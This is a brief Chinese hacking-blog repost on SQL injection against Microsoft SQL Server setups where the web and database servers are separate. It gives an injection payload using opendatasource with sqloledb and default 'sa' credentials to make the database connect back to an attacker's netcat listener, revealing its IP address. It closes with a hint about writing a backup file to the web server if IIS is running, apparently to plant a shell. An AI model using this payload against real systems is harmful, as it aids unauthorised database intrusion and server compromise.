获得数据库服务器的IP地址 's

鬼仔注：以前的 这篇文章 末尾有另外一个数据库服务器与web服务器分离时，获得数据库服务器IP地址的方法（猪三的方法）

信息来源：BIN-Blog

SQLinjection 的时候会遇到web与database分离的情况，这个时候如何获得数据库所在服务器的IP地址是至关重要的。
一个简单的方法，前提数据库可以连接Internet,nc本地监听一个端口，利用注入点执行:

SELECT * FROM opendatasource('sqloledb','data source=localip,port;user id=sa;password=sa').data.dbo.data

查看NC的连接情况就OK了！
如果数据库开了IIS那就备份吧！GoodLuck!